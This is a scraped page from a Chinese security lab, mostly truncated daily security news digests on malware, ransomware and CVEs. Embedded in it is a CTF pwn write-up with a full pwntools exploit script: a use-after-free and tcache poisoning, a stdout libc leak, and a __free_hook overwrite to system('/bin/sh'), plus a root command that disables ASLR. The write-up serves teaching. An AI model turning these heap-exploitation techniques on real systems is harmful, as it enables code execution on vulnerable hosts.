网络安全日报 2023年10月07日
1、研究人员披露基于Node.js语言的Lu0Bot恶意软件 https://any.run/cybersecurity-blog/lu0bot-analysis/ Lu0Bot是一种Node.js语言编写的恶意软件,最初出现于2021年2月,早期它似乎是一个用于DDOS攻击的常规僵尸网络木马,如今Lu0Bot开始充当僵尸网络中的终端Bot,等待来自C2服务器的命令并将加密的基本系统信息发送回该服务器。Lu0Bot使用Node.js语言编写是基于现代Web应用程序中常用的运行时环境,其所使用的特定代码和库使得在运行时与操作系统的平台无关,且通常允许更大的多功能性,比如采用JavaScript代码的多层混淆技术。研究人员称如果Lu0bot的活动规模扩大并 2、攻击者利用Openfire漏洞入侵服务器并挖矿 https://nvd.nist.gov/vuln/detail/CVE-2023-32315 黑客正在积极利用 Openfire 消息传递服务器中的一个高严重性漏洞,使用勒索软件加密服务器并部署加密挖矿程序。Openfire 是一种广泛使用的基于 Java 的开源聊天 (XMPP) 服务器,下载量达 900 万次,广泛用于安全的多平台聊天通信。该漏洞编号为 CVE-2023-32315,是一种影响 Openfire 管理控制台的身份验证绕过方式,允许未经身份验证的攻击者在易受攻击的服务器上创建新的管理员帐户。攻击者使用这些帐户安装恶意 Java 插件(JAR 文件),这些插件执行通过 GE 3、攻击者利用开源窃取程序Exela针对Discord用户发起攻击 https://cyble.com/blog/exela-stealer-spotted-targeting-social-media-giants/ 研究人员发现基于 Python 的开源窃取程序Exela Stealer,它具有广泛的反调试和反虚拟机 (VM) 技术,使其成为攻击者的有力工具。Exela 主要针对 Discord 用户,通过修改 Windows Discord 客户端来窃取敏感信息,包括登录凭据、个人数据,甚至可能是财务信息。Exela 窃取程序还旨在针对多个浏览器的数据和凭据。它还可以从各种应用程序中窃取会话详细信息,包括流行的社交媒体平台和游戏平台。通过 Discor 4、研究人员披露新型ZeroFont网络钓鱼技术 https://isc.sans.edu/diary/A+new+spin+on+the+ZeroFont+phishing+technique/30248/ 攻击者正在利用一种新技巧,即在电子邮件中使用零点字体,使恶意电子邮件看起来像是被 Microsoft Outlook 中的安全工具安全扫描过的。正在利用一种新技巧,即在电子邮件中使用零点字体,使恶意电子邮件看起来像是被 Microsoft Outlook 中的安全工具安全扫描过的。正在利用一种新技巧,即在电子邮件中使用零点字体,使恶意电子邮件看起来像是被 Microsoft Outlook 中的安全工具安全扫描过的。研究人员发现的一封 5、ZenRAT远控木马通过虚假Bitwarden密码管理软件传播 https://www.proofpoint.com/us/blog/threat-insight/zenrat-malware-brings-more-chaos-calm 研究人员近期发现一款称为ZenRAT的新型远控木马家族,该家族隐藏在虚假的软件安装程序中,已被发现的历史活动利用SEO中毒、广告软件捆绑或电子邮件进行传播。ZenRAT最初是在一个外表与Bitwarden密码管理器软件相关的虚假网站上发现的,该网站与真实的bitwarden非常相似,该家族甚至克隆了Scott Nesbitt 从Opensource上发表的一篇有关Bitwarden密码管理器的文章。该恶意软件是一种模块 6、谷歌将libwebp中的严重漏洞评定为最高危险级别 https://nvd.nist.gov/vuln/detail/CVE-2023-4863 近日Google为libwebp安全漏洞分配了一个新的CVE编号(CVE-2023-5129),该漏洞被用作攻击中的零日漏洞,漏洞存在于libwebp用于无损压缩的霍夫曼编码算法中,它使攻击者能够使用制作的恶意HTML页面执行越界内存写入。该漏洞由Apple安全工程与架构部门(SEAR)和多伦多大学Munk学院的公民实验室于9月6日星期三联合报告,不到一周后Google修复了该漏洞,安全咨询公司创始人Ben Hawke(曾领导Google零项目团队)还将CVE-2023-4863与Apple于9月7 7、研究人员称LostTrust勒索软件与MetaEncryptor存在关联 https://www.bleepingcomputer.com/news/security/meet-losttrust-ransomware-a-likely-rebrand-of-the-metaencryptor-gang 研究人员称,由于利用了几乎相同的数据泄露网站和加密器,LostTrust勒索软件被认为与MetaEncryptor存在关联。LostTruat勒索团伙于2023年3月份开始进行攻击,并于9月份开始被人们发现。目前,该勒索组织已经在其数据泄露网站中列出了53个受害者,其中一些受害组织因未支付赎金而遭到数据泄露。MetaEncryptor勒索组织于2022年8月份开始 8、俄罗斯航班预定系统遭受网络攻击 https://therecord.media/russia-flight-booking-system-leonardo-ddos 俄罗斯的一个航班预订系统遭到网络攻击,导致机场延误。据当地航空预订系统Leonardo的开发商之一、俄罗斯国家国防公司Rostec称,该系统遭到了大规模的分布式拒绝服务(DDoS)攻击。这起事件持续了大约一个小时,影响了几位Leonardo客户的运营,其中包括俄罗斯航空公司Rossiya Airlines、Pobeda和旗舰航空公司Aeroflot。据俄罗斯国际航空公司称,这起事件导致该国最繁忙的莫斯科谢列梅捷沃国际机场的起飞延误长达一个小时。乌克兰黑客组织I 9、攻击者利用EvilProxy对美国高管发起钓鱼活动 https://www.menlosecurity.com/blog/evilproxy-phishing-attack-strikes-indeed/ EvilProxy是一种钓鱼服务工具包,可以通过反向代理和会话劫持的技术,绕过多数在线服务的二次验证保护,窃取用户的凭证。这种工具包在暗网市场上出售,任何网络犯罪者都可以购买并使用。研究人员介绍了一起针对高层管理人员的钓鱼攻击案例,该案例利用了求职平台“indeed.com”的一个开放重定向漏洞,将受害者引导到伪造的Microsoft登录页面。该页面实际上是一个反向代理服务器,可以拦截用户输入的账号、密码和二次验证代码,并立即使用它们登录用 10、Linux新漏洞“Looney Tunables”可让攻击者获取root权限 https://www.bleepingcomputer.com/news/security/new-looney-tunables-linux-bug-gives-root-on-major-distros/ 近日,安全研究人员发现了一个新的Linux漏洞,它被称为“Looney Tunables”,因为它可以通过修改一些名为“tunables”的环境变量来触发。这些环境变量是GNU C库(glibc)的一部分,它是GNU系统的C库,也是大多数基于Linux内核的系统中的基本组件。它提供了一些基本的功能,如字符串处理、数学运算、输入输出等。glibc中的ld.so动态加载器负责加载程序所需 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月28日
1、研究人员称近五年来教育机构遭勒索攻击损失高达530亿美元 https://www.comparitech.com/blog/vpn-privacy/school-ransomware-attacks-worldwide/ 从2018年到2023年9月中旬,已有561家教育机构遭受勒索软件攻击。我们估计,仅因这些攻击造成的停机时间就给世界经济造成了超过 530 亿美元的损失。虽然其他行业的勒索软件攻击在 2022 年有所下降,但教育领域的情况却并非如此。事实上,过去四年来,对该行业的攻击一直居高不下。然而,2023 年看起来将是破纪录的一年,迄今为止发生的攻击数量将大幅增加。2023 年上半年,研究人员记录了 85 起针对全球学校和学院/大学的勒索软 2、ALPHV勒索软件组织声称入侵了CLARION https://securityaffairs.com/151299/data-breach/alphv-ransomware-hacked-clarion.html Alphv 勒索软件组织声称入侵了全球汽车和其他车辆音频和视频设备制造商 Clarion。Alphv 勒索软件组织将汽车和其他车辆音频和视频设备的全球制造商 Clarion 添加到其 Tor 泄露网站的受害者名单中。Clarion Japan 是 Clarion Co., Ltd. 的日本子公司,Clarion Co., Ltd. 是汽车和其他车辆音频和视频设备的全球制造商。该公司开发、制造和销售各种产品,包括汽车导航系统、音 3、CISA警告影响三星和Realtek等产品的安全漏洞已被攻击者利用 https://therecord.media/cisa-adds-owl-labs-samsung-realtek-bugs-to-kev-list 本周一和周二美国网络安全和基础设施安全局 (CISA) 警告称MinIO、三星、Realtek、Zyxel、Laravel和Owl Labs等厂商产品的9个安全漏洞已经存在被在野攻击者利用,其中包括Owl Labs 生产支持视频会议等功能的智能设备存在的四个漏洞(CVE-2022-31459、CVE-2022-31461、CVE-2022-31462 和 CVE-2022-31463),以及其芯片组被应用于于多种主流产品中的Realtek 也 4、Firefox 118 修复了六个高危漏洞 https://www.securityweek.com/firefox-118-patches-high-severity-vulnerabilities/ Mozilla 周二宣布了 Firefox 和 Thunderbird 的安全更新,解决了其产品中的总共 9 个漏洞,其中包括高严重性缺陷。 5、谷歌开源二进制文件比较工具BinDiff https://www.securityweek.com/google-open-sources-binary-file-comparison-tool-bindiff/ 谷歌宣布,该公司维护了十多年的流行文件比较工具 BinDiff 现已开源。BinDiff 由 zynamics.com(2011 年被 Google 收购)开发,是一个二进制文件比较实用程序,允许用户识别反汇编代码中的相似点和差异。该工具支持 IDA Pro、Binary Ninja 和 Ghidra,可用于比较多个架构的二进制文件、识别相同或相似的功能、发现潜在的代码盗窃、识别版本之间的更改等。 6、苹果发布macOS 14 Sonoma, 修补了 60 多个漏洞 https://www.securityweek.com/macos-14-sonoma-patches-60-vulnerabilities/ 苹果周二宣布发布 macOS 14 Sonoma。最新版本的操作系统修复了 60 多个漏洞。这些缺陷可被利用来获取潜在的敏感信息(位置、日历、联系人、照片、凭据)、以提升的权限执行任意代码、逃离沙箱、读取任意文件、导致拒绝服务 (DoS) 情况、升级权限、绕过安全机制、删除文件、修改文件系统的受保护部分以及进行 UI 欺骗。 7、新的 GPU 侧通道攻击允许恶意网站窃取数据 https://www.securityweek.com/new-gpu-side-channel-attack-allows-malicious-websites-to-steal-data/ 来自美国多所大学的一组研究人员表示,几乎所有现代图形处理单元 (GPU) 都容易受到新型旁道攻击的影响,这种攻击可被用来获取敏感信息。 8、libwebp库中的漏洞CVE-2023-5129 影响数百万应用程序 https://securityaffairs.com/151576/hacking/cve-2023-5129-libwebp-flaw.html Google 为 libwebp 图像库中用于以 WebP 格式渲染图像的关键安全漏洞(编号为 CVE-2023-5129)分配了最高分。Google 在 libwebp 图像库中为一个关键漏洞分配了一个新的 CVE 标识符,跟踪为 CVE-2023-5129(CVSS 评分 10,0),用于以 WebP 格式渲染图像。该缺陷最初被追踪为CVE-2023-4863,因为研究人员认为它只影响 Google Chrome 浏览器。在发现该问题影响每 9、乌克兰黑客入侵俄罗斯航空巨头,窃取超 41 亿条乘客信息 https://www.secrss.com/articles/59218 乌克兰黑客声称已侵入俄罗斯公司 Sirena-Travel 的数据库,该数据库包含数亿次航空旅行的信息以及乘客保险以及其他个人数据。 10、勒索软件组织声称已经攻破索尼所有系统,数据正在出售 https://www.ithome.com/0/721/608.htm 据 Cyber Security Connect 报道,一个自称 Ransomed.vc 的勒索软件团伙声称已经成功入侵了日本公司索尼集团,并威胁要出售从该公司窃取的一批数据。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
realloc函数应用&IO泄露体验
本题主要介绍realloc函数,平时我们使用realloc最多便是在打malloc_hook-->onegadget的时候,使用realloc_hook调整onegadget的栈帧,从而getshell。 在realloc函数中,也能像malloc一样创建堆,并且比malloc麻烦一些,但是倒是挺有趣的。 realloc realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果 size == 0 ,这个时候等同于free。也就是free(realloc_ptr),并且返回空指针。即没有uaf realloc_ptr == 0 && size > 0 , 这个时候等同于malloc,即malloc(size) malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉 stdout泄露 这里我只给出结论,具体可以https://blog.csdn.net/qq_41202237/article/details/113845320?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166341506616800186544437%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166341506616800186544437&biz_id=0&utm_medium=distribute.pc_se 设置_flags & _IO_NO_WRITES = 0 设置_flags & _IO_CURRENTLY_PUTTING = 1 设置_flags & _IO_IS_APPENDING = 1 _flags = 0xFBAD1800 设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾,程序中自带地址足够泄露libc) 具备以上基础我们可以来实战一题了 roarctf_2019_realloc_magic Arch:     amd64-64-little RELRO:   Full RELRO Stack:   Canary found NX:       NX enabled PIE:     PIE enabled 64位,保护全开 前情提要: 本题部署在2.27-3ubuntu1_amd64/libc-2.27.so 建议关闭linux地址空间随机化(ASLR),方便调试。 在root用户下执行 echo 0 > /proc/sys/kernel/randomize_va_space realloc int re() { unsigned int size; // [rsp+Ch] [rbp-4h] puts("Size?"); size = get_int(); realloc_ptr = realloc(realloc_ptr, size); puts("Content?"); read(0, realloc_ptr, size); return puts("Done"); } free int fr() { free(realloc_ptr); return puts("Done"); } 存在uaf,可以利用起来 这里有个清零指针的函数 int ba() { if ( lock )   exit(-1); lock = 1; realloc_ptr = 0LL; return puts("Done"); } 程序特别简单,但是利用比较精妙, 在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的chunk都会写在在realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢出写 思路 通过realloc,和uaf,构造好tcache的布局 然后把_IO_2_1_stdout 链到bin里面,通过stdout泄露libc,得到free_hook 最后正常打free_hook:free_hook-->system-->/bin/sh 首先利用malloc(size)和free(size)在tcache上面先准备好 malloc(size)可以由realloc(realloc_ptr,size)得到(本文上面的第二个效果) free(size)可以由realloc(realloc_ptr,size=0)得到(本文上面的第一个效果) realloc(0x20,b'b') #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备 realloc(0,"") realloc(0x90,b'b') realloc(0,"") realloc(0x10,b'b') realloc(0,"") realloc(0x90,b'b') for i in range(7):   dele() realloc(0,"") 这一步非常重要,首先将0x90的地址申请回来,赋值给realloc_ptr,在通过uaf,tcache double free free掉7次,填满tcache bin,然后再free一次,使0x90进入到unsortedbin,把main_arena链进来 为什么第八次free需要使用realloc去free呢? 因为首先是因为用来链上unsortedbin,其次用来清空掉realloc_ptr指针,不影响后面的chunk使用 看一下此时的堆空间 realloc(0x20,b"aaa") pl=p64(0)*5+p64(0x81)+b"\x60\xc7" #realloc(0x50,b'aaa') #这里的注释是用来方便看你申请的堆放哪里去了,可以自己看一下 realloc(0x50,pl) 这里看上面图片的堆布局,如果你用了注释看了一下gdb,就知道为什么这样摆了, 后面申请的0x50是因为能刚好申请到更改unsortedbin的范围,大一点也没关系 首先改chunkB,也就是我们放入unsortedbin的chunk,改掉size值,可以结合realloc(0),多一次malloc 后面的"\x60\xc7"看图就知道了 _IO_2_1_stdout_跟main_arena相差了4位,并且低三位是固定的,只需要爆破一位 (因为我关闭了ASLR,所以直接\x60\xc7打本地不用爆破一次通(x)) 直接看成果图 可以发现成功链上了_IO_2_1_stdout_,接下来我们只需要把他申请回来就行 realloc(0,"") realloc(0x90,b'aa') realloc(0,"") pl=p64(0xfbad1887)+p64(0)*3+b'\x58' realloc(0x90,pl) 这里就涉及到_IO_2_1_stdout_泄露libc了,(下图都还没改的 0xfbad1887照着原来的就行低两位,高地址就是取我们设定好的0xFBAD1800 这里前面的_IO_read_xx用p64(0)填充掉,然后利用_IO_write_base设置指向想要泄露位置,比如说改成\x58 也就是 把_IO_file_jumps泄露出来,就可以计算libc,别的位置都可以,只需要是能算libc的即可 然后算出free_hook,system的libc地址, 接下来首先先用给的清理realloc_ptr的函数,将realloc_ptr置0 sla(menu,'666') realloc(0x30,b'a') realloc(0,"") realloc(0xa0,b'a') realloc(0,"") realloc(0x10,b'b')#2 realloc(0,"") realloc(0xa0,b'b') for i in range(7): dele() realloc(0,"") realloc(0x30,b'a')pl=p64(0)*7+p64(0x71)+p64(free-8) realloc(0x70,pl) realloc(0,"") realloc(0xa0,b'a') realloc(0,"") realloc(0xa0,b'/bin/sh\x00'+p64(sys)) dele() free-8是为了放好/bin/sh,然后顺便下一个将free_hook改成system 完整exp: from pwn import* def debug(cmd = 0):       if cmd == 0:           gdb.attach(r)       else:           gdb.attach(r,cmd)       pause() menu=b">>" def realloc(size,con):   r.sendlineafter(menu, b'1')   r.sendlineafter(b'ize',str(size))   r.sendafter(b'ent',con) def dele():   r.sendlineafter(menu,b'2')     libc=ELF("libc-2.27.so") context(os='linux', arch='amd64',log_level='debug') def pwn():   realloc(0x20,b'b')   realloc(0,"")   realloc(0x90,b'b')   realloc(0,"")   realloc(0x10,b'b')   realloc(0,"")   realloc(0x90,b'b')   for i in range(7):       dele()   realloc(0,"")   realloc(0x20,b"aaa")   payload=p64(0)*5+p64(0x81)+b"\x60\xc7"   #realloc(0x50,b'aaa')   realloc(0x50,payload)       realloc(0,"")   realloc(0x90,b'aa')   realloc(0,"")   payload=p64(0xfbad1886)+p64(0)*3+b'\x58'   realloc(0x90,payload)   #debug()   leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_file_jumps']   print(hex(leak))   free=leak+libc.sym['__free_hook']   system=leak+libc.sym['system']   r.sendlineafter(menu,'666')   realloc(0x30,b'a')   realloc(0,"")   realloc(0xa0,b'a')   realloc(0,"")   realloc(0x10,b'b')#2   realloc(0,"")   realloc(0xa0,b'b')   for i in range(7):       dele()   realloc(0,"")   realloc(0x30,b'a')   payload=p64(0)*7+p64(0x71)+p64(free-8)   realloc(0x70,payload)   realloc(0,"")   realloc(0xa0,b'a')   realloc(0,"")   realloc(0xa0,b'/bin/sh\x00'+p64(system))   dele()   r.interactive() for i in range(1):   try:       r=process("./pwn")       pwn()       break   except:       r.close()
网络安全日报 2023年09月27日
1、研究人员披露Turla组织近年使用的主要武器库 https://www.trendmicro.com/en_us/research/23/i/examining-the-activities-of-the-turla-group.html 总部位于俄罗斯的 Turla 组织被视为高度复杂的高级持续威胁 (APT) 组织,至少从 2004 年起就被怀疑在运作。Turla 的组织名称因其顶级 Rootkit 而臭名昭著,例如 Snake、Venomous Bear、WhiteBear、Uroburos、Group 88 和 Waterbug,所有这些都以政府实体、情报机构以及军事、教育、研究和组织为目标。世界各地的制药工业。与其他 APT 组 2、Atlassian发布针对Confluence等产品中严重漏洞的修复更新 https://confluence.atlassian.com/security/security-bulletin-september-19-2023-1283691616.html Atlassian 和互联网系统联盟 (ISC) 披露了影响其产品的多个安全漏洞,这些漏洞可被利用来实现拒绝服务 (DoS) 和远程代码执行。这四个严重漏洞已在上个月发布的新版本中得到修复。这包括CVE-2022-25647(CVSS 评分:7.5),Google Gson 包中的反序列化缺陷影响 Jira Service Management 数据中心和服务器中的补丁管理。CVE-2023-22512(C 3、达拉斯市政府声称被Royal勒索软件盗用帐户并破坏网络 https://www.cbsnews.com/texas/news/possible-cyber-attack-hampering-dallas-police-operations/ 德克萨斯州达拉斯市本周表示,Royal 勒索软件攻击迫使其关闭所有 IT 系统,原因是账户被盗。Royal 在 4 月初使用被盗的域服务帐户访问了该市的网络,并在 4 月 7 日至 5 月 4 日期间保持了对受感染系统的访问。在此期间,根据市政府官员和外部网络安全专家进行的系统日志数据分析,他们成功收集并窃取了价值 1.169 TB 的文件。该组织还通过在整个城市系统中投放 Cobalt Strike 命令和 4、加拿大 FLAIR 航空公司的用户数据泄露数月 https://securityaffairs.com/151512/data-breach/canadian-flair-airlines-data-leak.html Cybernews 研究团队发现,加拿大 Flair 航空公司将敏感数据库和电子邮件地址的凭据开放至少七个月。这增加了乘客的个人信息(例如电子邮件、姓名或地址)落入坏人之手的风险。 5、RansomedVC 勒索组织声称入侵了索尼,该公司正在调查 https://securityaffairs.com/151518/data-breach/threat-actors-claim-sony-hack.html 在 RansomedVC 勒索组织声称入侵了该公司并将该公司添加到其 Tor 泄露网站后,索尼宣布正在调查数据泄露指控。勒索软件组织发布了一些文件作为黑客攻击的证据,但尚不清楚威胁行为者是否能够破坏公司的所有系统。 6、RHYSIDA 勒索软件攻击了科威特财政部 https://securityaffairs.com/151501/cyber-crime/rhysida-ransomware-kuwait-ministry-of-finance.html 本周,Rhysida 勒索软件组织声称科威特财政部遭到黑客攻击,并将其添加到其 Tor 泄露网站中。 7、微软为 Windows 11 23H2添加新的安全功能 https://www.securityweek.com/microsoft-adding-new-security-features-to-windows-11/ 微软周二宣布了将在最新版本的 Windows 11 中提供的新安全功能。 Windows 11 功能更新于每年下半年发布。最新的更新 23H2 正在逐步向用户推出,微软预计新功能将在 2023 年 11 月安全更新发布时覆盖所有设备。 8、Xenomorph 安卓银行木马针对美国、加拿大用户 https://www.securityweek.com/xenomorph-android-banking-trojan-targeting-users-in-us-canada/ 在线欺诈检测公司 ThreatFabric 报告称,最近发现的 Xenomorph Android 银行木马样本显示了扩大的目标列表,现在包括北美用户。 9、黑客积极利用 Openfire 漏洞加密服务器 https://www.bleepingcomputer.com/news/security/hackers-actively-exploiting-openfire-flaw-to-encrypt-servers/ 该漏洞 CVE-2023-32315 允许攻击者绕过身份验证并创建新的管理员帐户,从而使他们能够安装恶意 Java 插件并在受感染的服务器上执行任意代码。 10、“两高一部”出台关于依法惩治网络暴力违法犯罪的指导意见 https://www.ithome.com/0/721/492.htm 随着全媒体时代的到来,网络暴力问题日益突出。最高人民法院、最高人民检察院、公安部 25 日联合发布《关于依法惩治网络暴力违法犯罪的指导意见》 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
蚁景科技2023年中秋国庆放假通知
尊敬的客户: 2023年中秋国庆双节来临,蚁景科技将于2023年9月29日至10月6日放假,共计8天。放假期间蚁景网安实验室将正常运营,若您遇到问题,可联系4006-123-731进行解决。 祝愿大家中秋国庆双节快乐!阖家幸福!万事如意!
网络安全日报 2023年09月26日
1、APT29组织针对多国驻乌克兰大使馆发起网络钓鱼 https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing 2023年上半年,具备俄罗斯背景的APT29组织针对全球多国驻乌克兰大使馆的网络攻击行动有所加强,在这些攻击活动中,APT29优先考虑欧洲国家的外交部和大使馆。在2023年3月的一次网络钓鱼活动中,APT29组织通过鱼叉式电子邮件投递PDF附件,PDF以邀请受害者参加西班牙大使馆举办的“国际经济关系的未来”活动酒会为诱导主题,引导受害者从受感染的网站服务器中下载包含MUSKYBEAT木马(也称为 QUARTERRIG)的恶意文件并执行,在另一次 2、伊朗背景OilRig组织针对以色列发起网络攻击 https://www.welivesecurity.com/en/eset-research/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes/ OilRig(又名APT34、Cobalt Gypsy、Hazel Sandstorm和Helix Kitten)是具有伊朗官方背景的APT组织,研究人员发现该组织曾在2021年和2022年策划了两起针对以色列目标的网络攻击活动,这些活动被研究人员命名为Outer Space和Juicy Mix。两起攻击活动具有相同的策略,OilRig 组织首先入侵一个合法网站用作C&C服务器,然 3、Stealth Falcon组织使用新型高级后门Deadglyph https://www.welivesecurity.com/en/eset-research/stealth-falcon-preying-middle-eastern-skies-deadglyph/ Stealth Falcon组织(又名FruityArmor、 Project Raven)于2016年首次被公民实验室曝光,该组织长期在中东地区展开一系列有针对性的间谍软件攻击,近期研究人员发现了一个名为Deadglyph的先前未记录的高级后门出现在Stealth Falcon组织的攻击活动中。Deadglyph后门由两个协作组件组成:一个是原生x64执行器,另一个是.NET后门程序,这 4、网络军火商Cytrox针对埃及议员发起间谍软件攻击 https://citizenlab.ca/2023/09/predator-in-the-wires-ahmed-eltantawy-targeted-with-predator-spyware-after-announcing-presidential-ambitions/ 2023年5月至9月期间,前埃及议员Ahmed Eltantawy在公开宣布计划预计在2024年竞选埃及总统后,其本人的通讯设备遭遇到了网络军火商Cytrox通过短信和WhatsApp等途径发送的Predator间谍软件攻击链接。研究人员在调查过程与Google威胁分析小组(TAG)合作获取了一个针对iPhone设备 5、890所学校受影响,美国学生信息交换中心遭Clop勒索攻击发生数据泄露 https://www.freebuf.com/news/379112.html 美国非营利性教育机构全国学生信息交换中心(National Student Clearinghouse)近期披露一起数据泄露事件,全美 890 所使用其服务的学校受到影响。由于赎金要求过高,预计 Clop 勒索软件网络犯罪团伙将收取约 7500 万至 1 亿美元的赎金。 6、苹果紧急更新修复了 3 个新的零日漏洞 https://www.bleepingcomputer.com/news/apple/apple-emergency-updates-fix-3-new-zero-days-exploited-in-attacks/ 苹果公司发布了紧急安全更新,以修补针对 iPhone 和 Mac 用户的攻击中利用的三个新零日漏洞,今年共修复了 16 个零日漏洞。 7、Atlassian 产品和 ISC BIND 服务器中发现高危漏洞 https://thehackernews.com/2023/09/high-severity-flaws-uncovered-in.html Atlassian 和互联网系统联盟(ISC)披露了影响其产品的几个安全漏洞,这些漏洞可能被用来实现拒绝服务(DoS)和远程代码执行。 8、FBI 和 CISA 联合发布针对“Snatch”的警告 http://www.anquan419.com/knews/24/5875.html 外媒消息, FBI 和 CISA 联合发布针对 “Snatch”的警告。警告称,Snatch 主要针对关键的基础设施领域,包括国防工业基地(DIB)、粮食和农业以及信息技术行业。 9、边检延误超 1 小时!网络攻击迫使加拿大边境检查站系统中断服务 https://www.secrss.com/articles/59091 加拿大边境服务署计算机遭到 DDoS 攻击,导致边检设备故障,延误时间超过一个小时之久。奇怪的是,据悉遭受攻击的系统应该处于隔离网,不知是如何被攻击的。 10、黑客从 MIXIN NETWORK 窃取了价值 2 亿美元的资产 https://securityaffairs.com/151433/hacking/mixin-network-200m-cyber-heist.html Mixin Network 是一家总部位于香港的加密货币公司,其提供免费、快如闪电的去中心化数字资产传输网络,该公司宣布遭遇 2 亿美元的网络盗窃。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月25日
1、APT37组织利用朝韩政治社会话题发起网络钓鱼攻击 https://blog.alyac.co.kr/5251 Geumseong121 组织是朝鲜支持的 APT 攻击组织,也称 APT37 、 Group123 、 RedEyes 和 ScarCruft。攻击者将其伪装成一名与朝鲜有关的国内活动人士关于朝鲜领导人金正恩于 9 月 12 日至 17 日访问俄罗斯的手稿,从而引起了用户的兴趣。此次攻击中使用的文件包含大量虚拟值,这是攻击者通常用来逃避反病毒检测的方法之一。朝鲜黑客组织针对国内涉朝组织或活动人士的鱼叉式网络攻击变得越来越复杂和有针对性。 2、研究人员披露BBTok银行木马新变种 https://research.checkpoint.com/2023/behind-the-scenes-of-bbtok-analyzing-a-bankers-server-side-components/ 研究人员最近发现一个活跃的活动在拉丁美洲运营和部署 BBTok 银行木马的新变种。在这项研究中,研究人员重点介绍了新发现的感染链,这些感染链使用了一种独特的靠地二进制文件 (LOLBins) 组合。这导致检测率较低,尽管 BBTok 银行木马至少自 2020 年以来一直在运营。在研究人员分析该活动时,发现了攻击者在攻击中使用的一些服务器端资源,目标是巴西和墨西哥的数百名用户。 3、研究人员披露LUCR-3勒索软件组织 https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud LUCR-3 与 Scattered Spider、Oktapus、UNC3944 和 STORM-0875 等组织重叠,是一个出于经济动机的攻击者,利用身份提供商 (IDP) 作为环境的初始访问权限,目的是窃取知识产权 (IP)勒索。LUCR-3 针对各个行业的财富 2000 强公司,包括但不限于软件、零售、酒店、制造和电信。LUCR-3 并不严重依赖恶意软件甚至脚本,而是 LUCR-3 熟练地使用受害者自己的工具、应用程序和资源来实现其目 4、Gold Melody攻击组织向勒索软件出售攻陷网络访问权限 https://www.secureworks.com/research/gold-melody-profile-of-an-initial-access-broker 出于经济动机的攻击者Gold Melody组织已被揭露为初始访问经纪人(IAB),该经纪人向其他对手出售受感染组织的访问权限,以实施勒索软件等后续攻击。这个出于经济动机的组织至少从 2017 年起就一直活跃,通过利用未修补的面向互联网的服务器中的漏洞来危害组织。受害者学表明,这是为了经济利益而进行的机会主义攻击,而不是由国家支持的威胁组织进行的旨在从事间谍活动、破坏或破坏的有针对性的活动。据观察,截至 2020 年中期,该网 5、攻击者在GitHub发布虚假WinRAR漏洞POC以传播Venom远控 https://unit42.paloaltonetworks.com/fake-cve-2023-40477-poc-hides-venomrat/ 恶意行为者针对 GitHub 上最近披露的 WinRAR 漏洞发布了虚假概念验证 (PoC) 漏洞,目的是用 Venom RAT 恶意软件感染下载代码的用户。攻击者利用此 WinRAR 漏洞的虚假 PoC 是基于公开可用的 PoC 脚本,该脚本利用了名为 GeoServer 的应用程序中的 SQL 注入漏洞,该漏洞被跟踪为 CVE-2023-25157。托管该存储库的GitHub 帐户halersplonk不再可访问。据称该 PoC 于 20 6、T-Mobile应用程序故障可允许用户查看他人帐户信息 https://www.bleepingcomputer.com/news/security/t-mobile-app-glitch-let-users-see-other-peoples-account-info/ T-Mobile 客户表示,他们在登录该公司的官方移动应用程序后可以看到其他人的帐户和账单信息。根据社交媒体上的用户报告,暴露的信息包括客户的姓名、电话号码、地址、账户余额以及信用卡详细信息,例如到期日期和最后四位数字。一些受此问题影响的客户在登录自己的帐户时可能会看到其他多人的敏感信息。虽然今天早些时候 Reddit 和 Twitter 上开始出现大量报告,但一些 T-Mob 7、新加坡警方警告新型安卓恶意软件诈骗规模逾1000万新元 https://www.channelnewsasia.com/singapore/android-malware-scam-factory-reset-phone-police-3785801 新加坡警方发布了有关安卓恶意软件诈骗新变种的通报,其中,当恶意软件在手机的网上银行应用程序上执行未经授权的交易后,诈骗者会在受感染的设备上启动恢复出厂设置。2023 年上半年,已有超过 750 起受害者将恶意软件下载到手机中的案例,损失至少为 1000 万新元(730 万美元)。受害者会在 Facebook 和 Instagram 等社交媒体平台上看到各种服务的广告,例如家庭清洁和宠物美容以及食品购 8、研究人员披露XWorm远控木马新变种的攻击活动 https://thehackernews.com/2023/09/inside-code-of-new-xworm-variant.html XWorm 是远程访问木马群体中相对较新的代表,它已经成为全球最持久的威胁之一。自 2022 年研究人员首次观察到它以来,它经历了多次重大更新,显着增强了其功能并巩固了其持久力。研究人员发现了该恶意软件的最新版本,因此无法拒绝将其拆开以检查 